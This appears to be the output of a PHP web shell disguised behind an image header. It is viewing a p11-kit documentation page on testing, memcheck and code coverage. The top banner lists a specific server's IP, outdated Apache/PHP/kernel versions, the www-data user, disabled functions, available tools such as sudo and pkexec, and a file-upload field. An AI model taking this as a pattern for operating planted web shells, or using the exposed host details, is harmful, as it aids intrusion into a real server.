????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.147.48.123 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/gtk-doc/html/p11-kit/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Testing and Code Coverage</title> <meta name="generator" content="DocBook XSL Stylesheets V1.78.1"> <link rel="home" href="index.html" title="p11-kit"> <link rel="up" href="devel.html" title="Building, Packaging, and Contributing to p11-kit"> <link rel="prev" href="devel-building-style.html" title="Coding Style"> <link rel="next" href="devel-debugging.html" title="Debugging Tips"> <meta name="generator" content="GTK-Doc V1.19 (XML mode)"> <link rel="stylesheet" href="style.css" type="text/css"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <table class="navigation" id="top" width="100%" summary="Navigation header" cellpadding="2" cellspacing="2"><tr valign="middle"> <td><a accesskey="p" href="devel-building-style.html"><img src="left.png" width="24" height="24" border="0" alt="Prev"></a></td> <td><a accesskey="u" href="devel.html"><img src="up.png" width="24" height="24" border="0" alt="Up"></a></td> <td><a accesskey="h" href="index.html"><img src="home.png" width="24" height="24" border="0" alt="Home"></a></td> <th width="100%" align="center">p11-kit</th> <td><a accesskey="n" href="devel-debugging.html"><img src="right.png" width="24" height="24" border="0" alt="Next"></a></td> </tr></table> <div class="section"> <div class="titlepage"><div><div><h2 class="title" style="clear: both"> <a name="devel-testing"></a>Testing and Code Coverage</h2></div></div></div> <p>As a general rule changes to p11-kit should have a tests exercising that change. Use the <code class="literal">make check</code> command to run all the tests. If you run it from a subdirectory only the tests in that directory will be run.</p> <p>To check for memory errors or memory leaks, run <code class="literal">make memcheck</code> or <code class="literal">make leakcheck</code> respectively. This requires valgrind be installed.</p> <p>Build p11-kit with the <code class="option">--enable-coverage</code> configure option to build code coverage support.</p> <p>Once you've done that you can either use <code class="literal">make coverage</code> to build code coverage information. Alternatively (and this is usually easier) you can use <a class="ulink" href="http://stef.thewalter.net/2012/12/git-coverage-useful-code-coverage.html" target="_top"> <code class="literal">git coverage</code></a> to easily check whether you've tested the lines changed by a patch.</p> <p>A code coverage report is <a class="ulink" href="http://p11-glue.freedesktop.org/build/coverage" target="_top">available online</a></p>. </div> <div class="footer"> <hr> Generated by GTK-Doc V1.19</div> </body> </html>